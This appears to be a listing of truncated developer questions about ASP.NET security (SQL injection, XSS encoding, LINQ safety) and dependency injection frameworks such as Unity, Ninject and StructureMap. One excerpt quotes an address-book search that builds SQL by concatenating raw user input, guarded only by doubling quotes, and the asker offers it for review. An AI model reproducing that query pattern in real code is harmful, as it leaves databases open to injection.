I'm using a List Box to get multiple values that will be used in a query.I can loop over the List Box and create the string.i.e. 'blue','red','purple'The string is used in the query: SELECT * FROM TABLE1 WHERE COLOR IN('blue','red','purple'). Is there a way to parametrize multiple values? @COLOR='blue','red','purple'What will be the best practice to prevent SQL injections in this scenario?

I've been reading up on SQL Injection and want to go back and implement some measures to prevent these kinds of potential attacks.For example, on our company intranet, we have an address book feature and a search function so the user is able to look a company or a person up from the database/The user will enter their query into a TextBox control and click the Submit button, calling the following function:addybookDS1.SelectCommand = "SELECT * FROM [addressbook] WHERE COMPANY LIKE '%" + search1 + "%' OR CONTACT LIKE '%" + search1 + "%' OR LASTNAME LIKE '%" + search1 + "%' OR EMAIL LIKE '%" + search1 + "%'"search1 is the TextBox controlI had previously implemented this measure:search1 = Replace(search1, "'", "''")But I want to know if there is more I can do here and how I can go about doing it.

I've a blog-driven ASP.NET website. Under the post, there is a Comment block to let readers post comments.I've used some TextBoxes and TextArea for that.To Prevent XSS:I've filtered the input by using: Server.HtmlEncode() Method (I don't care about text formatting).To Prevent SQL-Injection:I'm using Linq To SQL (that should be like parametrized queries I think!).
ArticlesDataClasses dc = new ArticlesDataClasses();
ArticleComment newComm = new ArticleComment()
{
ArticleID = int.Parse(Request.QueryString["ArticleID"]),
CommentAuthor = Server.HtmlEncode(txtName.Text),
CommentText = Server.HtmlEncode(txtComment.InnerHtml).Replace("
", "<br />"),
CommentAuthorEmail = Server.HtmlEncode(txtMail.Text),
CommentTime = DateTime.Now,
Enabled = false
};

I have a page using an injected BLL service: a simple service returning a set of objects with a function like this:
public IMyService { List<Foo> All(); }
There is a default implementation for normal users.Now, i need that users in administrative role can view more objects, with another implementation of the service.Where can i configure my page to use the second implementation?
My first solution is to put the dependency to the IUnityContainer in the page, and use it to resolve the dependency:
[Dependency]
public IUnityContainer Container { get; set;}
Page_Init(..) [code].....
it's a ServiceLocator and it's neither scalable neither testable.

During the design of a new generic authentication framework for some of our products, I have come across an architectural issue I cannot seem to find a good solution for.I have tried to simplify the problem in order to easily explain it.
The library has two classes:
Manager Is responsible for storing currently authenticated users.Module It is the responsibility for the module to validate each request according to security policies. The Module must ask the manager to determine whether a user is currently authenticated.
Now the manager is supplied an implementation of an interface which allows the manager to load users from a repository. The specific implementation is not contained in this library. Because of this, I cannot directly instantiate an instance of the repository within the library.
I have no way of modifying properties or supplying arguments for the module constructor. So my question is this, how can I give the module a reference to an instance of the Manager?
namespace Demo
{
public interface IRepository

as i've read Ninject is the best one so how to use it and why i cannot see good examples.
Lately i have begun learning MVC and as i've seen every one use DI in the MVC, i have a couple doesn question but i will ask a few lol...
1. Why use and what is going to do for me?
2. How to use it in WebForms Appliction ?
3. IoC is the same if not what is it and what's it doing?
4. I want to use a Ninject FrameWork 2.0 but i cannot find good examples for WebForm App.

This project is pretty far away and I'm not in the position to go make changes all over the place (If I could, deleting the lot would be what I'd do!)
I want to create a modelbinder that would resolve any dependencies my View Models might have (using StructureMap).
It should not require me to implement a specific interface (so many developers, so many interfaces..I rather keep things clean) and hopefully not require one to go register each model binder individually (Now I'm asking too much,taking the first requirment
in consideration).
Probably will get it right tonight, but figured I'd ask.

Recently I was asked to express the DI in colloquial explanation.
I answered :
1)I am going to a hotel.I ordered food.The hotel management asks me to clean the plates and
clean the tables.So here i am a client,I am responsible for managing the service (Instantiating,executing,disposing).But DI decouples such tasks so the service consumer no need not worry about controlling the life cycle of the service.
2)He also asked is there any microsoft API follows DI ?.I answered (This was my guess) In WCF you can create a Proxy using ChannelFactory that controls the life time of your factory.
for item (1) he said only 10% is correct
for item(2) he said that is factory pattern not dependency injection.
Actually what went wrong in my explanation (apart from my bad English) ? What is the real answers for those?

I have been looking at learning dependency injections (i think i have now grasped the basics) and am looking to implement it into a webform application. My question is, what dependency injection framework should i use for a webforms project, or is it a question of what works best for you?
I Have currently looked at Spring.Net, Ninject, Unity and StructureMap, i tend to have no preference in the configuration, whether its XML or fluent interfaces. However is XML configuration becoming less favourable?
Most of the information i come across relates to dependency injection whilst in a MVC environment. And have also read that some frameworks such as Structure Map only work with webforms using version 2.0 or earlier. So the kind of things i need to consider are whether webforms will be continuous support, and the ease of configuration for someone relatively new to the pattern.

I been reading a bit about SQL injection and I want to be sure my code is lets say "safe" from it, I was planning on using RegExp validators to check the user input but another post in here suggested only using parametrized querys, well Im using them but I want to be sure my code is safe, is it?

Is this LINQ statment vulnerable to SQL injection?
var result = from b in context.tests
where b.id == inputTextBox.Text
select b;
where context is an Entity and tests is a table. I'm trying to learn LINQ and I thought that the benefit of it was that it wasn't vulnerable to sql injection, but some stuff I've see has said differently. Would I need to parametrize this LINQ statement to make it safer? If so, How? Also would this be considered linq to sql or linq to entities?

I am sure that I am somewhat lost in this area... my understanding is that Dependency Injection means initializing something that is required by a class..so for instance. If my controller is going to need a service and I want to be able to test it then I should define two Constructor methods for it... so, my question is.
public class CompaniesController : Controller
{
private ICompaniesService _service;
public CompaniesController()
{.......
